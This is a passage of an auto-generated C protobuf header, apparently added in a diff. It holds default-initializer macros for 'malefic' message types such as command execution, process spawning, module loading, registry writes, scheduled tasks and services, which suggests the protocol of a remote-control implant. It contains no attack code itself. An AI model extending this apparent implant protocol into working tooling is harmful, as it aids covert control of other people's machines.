malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default, malefic_SockTabEntry_init_default}} +#define malefic_Block_init_default {0, {0, {0}}, 0} +#define malefic_ACK_init_default {0, 0, 0} +#define malefic_Os_init_default {"", "", "", "", "", "", "", 0, {"", "", "", "", "", "", "", ""}} +#define malefic_Process_init_default {"", 0, 0, "", "", "", "", ""} +#define malefic_Timer_init_default {"", 0} +#define malefic_FileInfo_init_default {"", 0, 0, 0, 0, ""} +#define malefic_SacrificeProcess_init_default {0, 0, 0, 0, ""} +#define malefic_LsResponse_init_default {"", 0, 0, {malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default, malefic_FileInfo_init_default}} +#define malefic_DriveInfo_init_default {"", "", 0, 0, ""} +#define malefic_EnumDriversResponse_init_default {0, {malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default, malefic_DriveInfo_init_default}} +#define malefic_PsResponse_init_default {0, {malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default, malefic_Process_init_default}} +#define malefic_ExecRequest_init_default {"", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, 0, 0, 0, 0} +#define malefic_ExecResponse_init_default {0, {0, {0}}, {0, {0}}, 0, 0} +#define malefic_BinaryResponse_init_default {{0, {0}}, {0, {0}}, 0, ""} +#define malefic_Modules_init_default {0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}} +#define malefic_Addons_init_default {0, {malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default, malefic_Addon_init_default}} +#define malefic_Addon_init_default {"", "", ""} +#define malefic_LoadModule_init_default {"", {0, {0}}} +#define malefic_LoadAddon_init_default {"", "", "", {0, {0}}} +#define malefic_ExecuteAddon_init_default {"", false, malefic_ExecuteBinary_init_default} +#define malefic_ExecuteBinary_init_default {"", {0, {0}}, {{NULL}, NULL}, "", "", 0, {"", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", "", ""}, "", {0, {0}}, 0, 0, 0, false, malefic_SacrificeProcess_init_default, "", "", 0} +#define malefic_ExecuteBinary_ParamEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ExecuteCommand_init_default {"", false, malefic_SacrificeProcess_init_default} +#define malefic_UploadRequest_init_default {"", "", 0, {0, {0}}, 0, 0} +#define malefic_DownloadRequest_init_default {"", "", 0, 0, 0} +#define malefic_DownloadResponse_init_default {"", 0, 0, {0, {0}}} +#define malefic_CurlRequest_init_default {"", 0, "", {0, {0}}, {{NULL}, NULL}, ""} +#define malefic_CurlRequest_HeaderEntry_init_default {{{NULL}, NULL}, {{NULL}, NULL}} +#define malefic_ChownRequest_init_default {"", "", "", 0} +#define malefic_IfconfigResponse_init_default {0, {malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default, malefic_NetInterface_init_default}} +#define malefic_RegistryRequest_init_default {"", false, malefic_Registry_init_default} +#define malefic_Registry_init_default {"", "", ""} +#define malefic_RegistryWriteRequest_init_default {"", "", "", "", {0, {0}}, 0, 0, 0} +#define malefic_TaskScheduleRequest_init_default {"", false, malefic_TaskSchedule_init_default} +#define malefic_TaskSchedule_init_default {"", "", "", 0, "", "", 0, "", ""} +#define malefic_TaskSchedulesResponse_init_default {0, {malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default, malefic_TaskSchedule_init_default}} +#define malefic_ServiceRequest_init_default {"", false, malefic_ServiceConfig_init_default} +#define malefic_ServiceConfig_init_default {"", "", "", 0, 0, ""} +#define malefic_ServiceStatus_init_default {0, 0, 0, 0, 0} +#define malefic_Service_init_default {false, malefic_ServiceConfig_init_default, false, malefic_ServiceStatus_init_default} +#define malefic_ServicesResponse_init_default {0, {malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, malefic_Service_init_default, 